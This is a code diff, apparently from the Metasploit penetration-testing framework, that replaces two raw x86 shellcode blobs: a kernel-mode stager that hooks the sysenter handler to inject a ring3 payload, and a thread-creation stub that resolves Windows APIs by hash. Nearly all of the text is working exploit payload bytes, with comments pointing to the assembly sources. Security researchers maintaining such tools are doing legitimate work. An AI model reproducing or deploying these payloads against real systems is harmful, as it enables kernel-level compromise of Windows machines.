@@ -47,19 +47,21 @@ def self.stager_sysenter_hook( opts = {} )
47
47
checksum = process [ 0 ] + ( process [ 2 ] << 8 ) + ( process [ 1 ] << 16 ) + ( process [ 3 ] << 24 )
48
48
49
49
# The ring0 -> ring3 payload blob.
50
- r0 = "\xFC \xFA \xEB \x1E \x5E \x68 \x76 \x01 \x00 \x00 \x59 \x0F \x32 \x89 \x46 \x60 " +
51
- "\x8B \x7E \x64 \x89 \xF8 \x0F \x30 \xB9 \x41 \x41 \x41 \x41 \xF3 \xA4 \xFB \xF4 " +
52
- "\xEB \xFD \xE8 \xDD \xFF \xFF \xFF \x6A \x00 \x9C \x60 \xE8 \x00 \x00 \x00 \x00 " +
53
- "\x58 \x8B \x58 \x57 \x89 \x5C \x24 \x24 \x81 \xF9 \xDE \xC0 \xAD \xDE \x75 \x10 " +
54
- "\x68 \x76 \x01 \x00 \x00 \x59 \x89 \xD8 \x31 \xD2 \x0F \x30 \x31 \xC0 \xEB \x34 " +
55
- "\x8B \x32 \x0F \xB6 \x1E \x66 \x81 \xFB \xC3 \x00 \x75 \x28 \x8B \x58 \x5F \x8D " +
56
- "\x5B \x6C \x89 \x1A \xB8 \x01 \x00 \x00 \x80 \x0F \xA2 \x81 \xE2 \x00 \x00 \x10 " +
57
- "\x00 \x74 \x11 \xBA \x45 \x45 \x45 \x45 \x81 \xC2 \x04 \x00 \x00 \x00 \x81 \x22 " +
58
- "\xFF \xFF \xFF \x7F \x61 \x9D \xC3 \xFF \xFF \xFF \xFF \x42 \x42 \x42 \x42 \x43 " +
59
- "\x43 \x43 \x43 \x60 \x6A \x30 \x58 \x99 \x64 \x8B \x18 \x39 \x53 \x0C \x74 \x2E " +
60
- "\x8B \x43 \x10 \x8B \x40 \x3C \x83 \xC0 \x28 \x8B \x08 \x03 \x48 \x03 \x81 \xF9 " +
61
- "\x44 \x44 \x44 \x44 \x75 \x18 \xE8 \x0A \x00 \x00 \x00 \xE8 \x10 \x00 \x00 \x00 " +
62
- "\xE9 \x09 \x00 \x00 \x00 \xB9 \xDE \xC0 \xAD \xDE \x89 \xE2 \x0F \x34 \x61 \xC3 "
50
+ # Full assembly source at:
51
+ # external/source/shellcode/windows/x86/src/kernel/stager_sysenter_hook.asm
52
+ r0 = "\xFC \xFA \xEB \x1E \x5E \x68 \x76 \x01 \x00 \x00 \x59 \x0F \x32 \x89 \x46 \x5D " +
53
+ "\x8B \x7E \x61 \x89 \xF8 \x0F \x30 \xB9 \x41 \x41 \x41 \x41 \xF3 \xA4 \xFB \xF4 " +
54
+ "\xEB \xFD \xE8 \xDD \xFF \xFF \xFF \x6A \x00 \x9C \x60 \xE8 \x00 \x00 \x00 \x00 " +
55
+ "\x58 \x8B \x58 \x54 \x89 \x5C \x24 \x24 \x81 \xF9 \xDE \xC0 \xAD \xDE \x75 \x10 " +
56
+ "\x68 \x76 \x01 \x00 \x00 \x59 \x89 \xD8 \x31 \xD2 \x0F \x30 \x31 \xC0 \xEB \x31 " +
57
+ "\x8B \x32 \x0F \xB6 \x1E \x66 \x81 \xFB \xC3 \x00 \x75 \x25 \x8B \x58 \x5C \x8D " +
58
+ "\x5B \x69 \x89 \x1A \xB8 \x01 \x00 \x00 \x80 \x0F \xA2 \x81 \xE2 \x00 \x00 \x10 " +
59
+ "\x00 \x74 \x0E \xBA \x45 \x45 \x45 \x45 \x83 \xC2 \x04 \x81 \x22 \xFF \xFF \xFF " +
60
+ "\x7F \x61 \x9D \xC3 \xFF \xFF \xFF \xFF \x42 \x42 \x42 \x42 \x43 \x43 \x43 \x43 " +
61
+ "\x60 \x6A \x30 \x58 \x99 \x64 \x8B \x18 \x39 \x53 \x0C \x74 \x2B \x8B \x43 \x10 " +
62
+ "\x8B \x40 \x3C \x83 \xC0 \x28 \x8B \x08 \x03 \x48 \x03 \x81 \xF9 \x44 \x44 \x44 " +
63
+ "\x44 \x75 \x15 \xE8 \x07 \x00 \x00 \x00 \xE8 \x0D \x00 \x00 \x00 \xEB \x09 \xB9 " +
64
+ "\xDE \xC0 \xAD \xDE \x89 \xE2 \x0F \x34 \x61 \xC3 "
63
65
64
66
# The ring3 payload.
65
67
r3 = ''
@@ -125,20 +127,19 @@ def self.sud_syscall_hook(opts = {})
125
127
# Stub to run a prepended ring3 payload in a new thread.
126
128
#
127
129
# Full assembly source at:
128
- # /msf3/ external/source/shellcode/windows/x86/src/single/createthread.asm
130
+ # external/source/shellcode/windows/x86/src/single/createthread.asm
129
131
#
130
132
def self . _createthread
131
- r3 = "\xFC \xE8 \x89 \x00 \x00 \x00 \x60 \x89 \xE5 \x31 \xD2 \x64 \x8B \x52 \x30 \x8B " +
132
- "\x52 \x0C \x8B \x52 \x14 \x8B \x72 \x28 \x0F \xB7 \x4A \x26 \x31 \xFF \x31 \xC0 " +
133
- "\xAC \x3C \x61 \x7C \x02 \x2C \x20 \xC1 \xCF \x0D \x01 \xC7 \xE2 \xF0 \x52 \x57 " +
134
- "\x8B \x52 \x10 \x8B \x42 \x3C \x01 \xD0 \x8B \x40 \x78 \x85 \xC0 \x74 \x4A \x01 " +
135
- "\xD0 \x50 \x8B \x48 \x18 \x8B \x58 \x20 \x01 \xD3 \xE3 \x3C \x49 \x8B \x34 \x8B " +
136
- "\x01 \xD6 \x31 \xFF \x31 \xC0 \xAC \xC1 \xCF \x0D \x01 \xC7 \x38 \xE0 \x75 \xF4 " +
137
- "\x03 \x7D \xF8 \x3B \x7D \x24 \x75 \xE2 \x58 \x8B \x58 \x24 \x01 \xD3 \x66 \x8B " +
138
- "\x0C \x4B \x8B \x58 \x1C \x01 \xD3 \x8B \x04 \x8B \x01 \xD0 \x89 \x44 \x24 \x24 " +
139
- "\x5B \x5B \x61 \x59 \x5A \x51 \xFF \xE0 \x58 \x5F \x5A \x8B \x12 \xEB \x86 \x5D " +
140
- "\x31 \xC0 \x50 \x50 \x50 \x8D \x9D \xA0 \x00 \x00 \x00 \x53 \x50 \x50 \x68 \x38 " +
141
- "\x68 \x0D \x16 \xFF \xD5 \xC3 \x58 "
133
+ r3 = "\xFC \xE8 \x82 \x00 \x00 \x00 \x60 \x89 \xE5 \x31 \xC0 \x64 \x8B \x50 \x30 \x8B " +
134
+ "\x52 \x0C \x8B \x52 \x14 \x8B \x72 \x28 \x0F \xB7 \x4A \x26 \x31 \xFF \xAC \x3C " +
135
+ "\x61 \x7C \x02 \x2C \x20 \xC1 \xCF \x0D \x01 \xC7 \xE2 \xF2 \x52 \x57 \x8B \x52 " +
136
+ "\x10 \x8B \x4A \x3C \x8B \x4C \x11 \x78 \xE3 \x48 \x01 \xD1 \x51 \x8B \x59 \x20 " +
137
+ "\x01 \xD3 \x8B \x49 \x18 \xE3 \x3A \x49 \x8B \x34 \x8B \x01 \xD6 \x31 \xFF \xAC " +
138
+ "\xC1 \xCF \x0D \x01 \xC7 \x38 \xE0 \x75 \xF6 \x03 \x7D \xF8 \x3B \x7D \x24 \x75 " +
139
+ "\xE4 \x58 \x8B \x58 \x24 \x01 \xD3 \x66 \x8B \x0C \x4B \x8B \x58 \x1C \x01 \xD3 " +
140
+ "\x8B \x04 \x8B \x01 \xD0 \x89 \x44 \x24 \x24 \x5B \x5B \x61 \x59 \x5A \x51 \xFF " +
141
+ "\xE0 \x5F \x5F \x5A \x8B \x12 \xEB \x8D \x5D \x31 \xC0 \x50 \x50 \x50 \x8D \x9D " +
142
+ "\x99 \x00 \x00 \x00 \x53 \x50 \x50 \x68 \x38 \x68 \x0D \x16 \xFF \xD5 \xC3 \x58 "
142
143
return r3
143
144
end
144
145
0 commit comments